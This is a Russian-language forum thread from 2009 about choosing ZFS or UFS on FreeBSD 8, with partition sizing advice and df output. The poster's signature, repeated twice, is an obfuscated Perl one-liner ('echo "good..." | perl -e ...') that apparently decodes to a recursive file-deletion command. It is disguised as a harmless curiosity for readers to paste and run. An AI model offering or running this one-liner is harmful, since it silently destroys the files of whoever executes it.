ZFS или UFS

By hawk Date 16.12.09 11:56 Edited 16.12.09 12:00

ZFS или UFS ???
Вот такая делема, кто в теме попрошу отписать. Будет использоваться FreeBSD 8 64 bit, 1.5 Тб HDD, мучают сомнения какую поставить и как лучше сорганизовать разделы. В дальнейшем это будет проблемно.
По разделам пока думаю так, один общий слайс, в нем
---
512 Мб корень
1024 Мб своп
1024 Мб темп
под вар гигов 50-100
под юср гигов 50-100
и дополнительно создать /usr/home все остальное
---
Это только приблизительно, может где то меньше где то больше, а вообще если будут мысли кидайте. Применительно к ZFS желательно, например два слайса, корень на UFS и свап, во втором ZFS POOL'ы.

Главный вопрос всего этого - производительность-надежность, что оптимальнее и как. Т.к. опыта организации такой работы нет (только UFS2), не могу спрогнозировать как это будет на деле. Теоретики конечно пишите, но лучше практики!

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

By slam Date 16.12.09 13:33

Бенчмарки есть, хочешь почитай. http://blogs.sun.com/vlatushkin/entry/о_производительности_zfs. (но SUN по другому бы и не написал).

By G0thic Date 17.12.09 16:20

Диск один, чего голову ломать? Ставь UFS. Он временем проверен. Будет тебе надежность максимальная с одним диском.
ZFS конечно штука удобная, но для продакшена рановата.

Когда кругозор человека сужается к минимуму, он называет это своей точкой зрения.

By hawk Date 17.12.09 17:18

Да, так и сделал, всё на UFS, схемка в целом стандартная:

# df -h
Filesystem    Size Used   Avail Capacity Mounted on
/dev/ad4s1a 496M 253M 203M 55% /
devfs 1.0K 1.0K 0B   100% /dev
/dev/ad4s1e 989M    14K 910M    0% /tmp
/dev/ad4s1f 1.3T 1.3G 1.2T    0% /usr
/dev/ad4s1d    19G    28M    18G    0% /var

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'